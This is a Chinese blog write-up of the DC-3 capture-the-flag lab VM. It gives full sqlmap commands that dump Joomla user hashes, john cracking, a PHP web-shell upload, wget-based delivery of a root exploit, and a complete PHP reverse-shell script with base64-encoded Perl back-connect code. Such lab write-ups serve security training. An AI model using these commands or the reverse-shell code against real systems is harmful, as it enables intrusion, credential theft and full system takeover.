• DC-3靶机


    题前环境 (kali dc-3靶机)

    dc 1 2 不同  dc 3更改一些参数

     点击高级  修改对应的IDE

    照旧 先进行信息收集

     这次多出来的主机是150   nmap端口扫描

     80端口可用  还将该端口的详细信息给出   并且cms用的是Joomla

    尝试访问

     采用niko敏感目录扫描 (nikto -h 192.168.47.150)

    发现后台登录地址

     用 joomscan扫描器扫一下 看看改版本有什么漏洞  (joomscan -u 192.168.47.150)

     发现joomla版本为3.7.0   再查找joomla 3.7.0存在的漏洞

     查看漏洞利用42033.txt文章   (//现在还不应该存在桌面上 后期拷贝的)

    (cat usr/share/exploitdb/exploits/php/webapps/42033.txt)

     给出了sql注入点   开始利用

    列出所有数据库  sqlmap -u "http://192.168.47.150/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

     爆出五个数据库  观察到有一个joomla的数据库  来爆这个库

    sqlmap -u "http://192.168.47.150/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D  "joomladb" --tables -p list[fullordering]

    爆出了 #__users 表     一般 users 放的是用户名和加密后的密码  或是密码的hash值

    那么我们来爆user表的列名

    sqlmap -u "http://192.168.47.150/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D  joomladb -T “#__users”  --column -p list[fullordering]

     扫到了password 和 username 列        接着爆字段

    sqlmap -u "http://192.168.47.150/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T “#__users” -C "username,password" --dump -p list[fullordering]

    看到的结果 但是是以密文的形式  需要我们解密

    在root文件夹下新建一个txt文件将password的字段复制进去

     john暴力破解该hash值

     得到登录后台账号密码(snoopy) 拿去登录

     浏览网页  发现存在文件上传点  漏洞点

     选择创建一个新文件  save保存

     将PHP反弹shell代码复制进去(需设置目标ip 和端口)

     保存就上传   然后进行测试访问 (再根据joomla的特性  模块会单独放在一个文件夹里/templates/  而beez3模块就在/templates/beez3/里面  刚才创建的webshell路径为 http://192.168.47.150/templates/beez3/shell.php)

    开启nc   监听端口

    反弹shell成功  

    利用python获取交互shell  (python -c 'import pty; pty.spawn("/bin/bash")'

      交互shell获取成功  但还不是root权限  需要Linux提权

    查看操作系统版本信息  寻找提权漏洞突破口  (tac /etc/issue)  (cat /proc/version)

    得到操作系统与其版本

    使用searchsploit工具搜索漏洞    打开另一个终端  (searchsploit Ubuntu 16.04)

     显示漏洞利用的完整路径  (searchsploit 39772.txt -p)

    利用cp命令拷贝到桌面

    打开39772文件

     文本写的是漏洞产生的原因   描述和漏洞利用的方法   还附上了exp   最后一行的连接 (https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip )自行下载

    接着我们下载该压缩包并放到kali桌面里  解压该文件     将下载好的文件导入到DC-3靶机里

    然后在桌面开启http服务   利用exp提权

     访问开启的http服务  exp地址如下图

     服务开启成功

    回到我们的虚拟终端    利用wget命令下载该工具 (wget http://192.168.47.146:8888/exploit.tar  我这里将exploit.tar移到桌面了  正常应该再你下载的39772.zip的解压后的文件里 )

     下载完后用tar命令解压该压缩包  (tar -xvf exploit.tar)

      接着cd进入解压后的文件夹  ls查看里面的文件

     执行下两个文件  Linux系统下.(点)是执行某个文件的意思  (./compile.sh)

    ( ./doubleput)

     提权成功

    flag在root目录底下  

    小结:

    A:  Joomlal漏洞
    B:   niko敏感目录扫描
    C:   joomscan
    D:   sql

    E:  john暴力破解
    F:   文件上传漏洞
    G:   python交互shell(python -c 'import pty; pty.spawn("/bin/bash")'
    H:   searchsploit工具搜索漏洞
    I:    利用exp提权
    J:   PHP反弹shell

    1. function which($pr) {
    2. $path = execute("which $pr");
    3. return ($path ? $path : $pr);
    4. }
    5. function execute($cfe) {
    6. $res = '';
    7. if ($cfe) {
    8. if(function_exists('exec')) {
    9. @exec($cfe,$res);
    10. $res = join("\n",$res);
    11. }
    12. elseif(function_exists('shell_exec')) {
    13. $res = @shell_exec($cfe);
    14. } elseif(function_exists('system')) {
    15. @ob_start();
    16. @system($cfe);
    17. $res = @ob_get_contents();
    18. @ob_end_clean();
    19. } elseif(function_exists('passthru')) {
    20. @ob_start();
    21. @passthru($cfe);
    22. $res = @ob_get_contents();
    23. @ob_end_clean();
    24. } elseif(@is_resource($f = @popen($cfe,"r"))) {
    25. $res = '';
    26. while(!@feof($f)) {
    27. $res .= @fread($f,1024);
    28. }
    29. @pclose($f);
    30. }
    31. }
    32. return $res;
    33. }
    34. function cf($fname,$text){
    35. if($fp=@fopen($fname,'w')) {
    36. @fputs($fp,@base64_decode($text));
    37. @fclose($fp);
    38. }
    39. }
    40. $yourip = "your IP";
    41. $yourport = 'your port';
    42. $usedb = array('perl'=>'perl','c'=>'c');
    43. $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
    44. "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
    45. "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
    46. "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
    47. "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
    48. "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
    49. "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    50. cf('/tmp/.bc',$back_connect);
    51. $res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
    52. ?>

  • 相关阅读:
    dji uav建图导航系列()move_base
    深度解析 集成运放 原理与运用
    新特性解读 | MySQL8.0 ALTER TABLE … ALGORITHM=INSTANT
    通过Linux命令监控CPU案例
    腾讯云轻量应用服务器性能如何?来自学生的评价
    选择排序超详细讲解C语言
    无法安装64位版本的office,因为在您的PC上找到以下32位程序
    电脑如何在网页上下载视频 浏览器如何下载网页视频
    详解127.0.0.1和localhost的关系和区别
    漫画:国内都有哪些程序员大牛?
  • 原文地址:https://blog.csdn.net/m0_57954651/article/details/127085245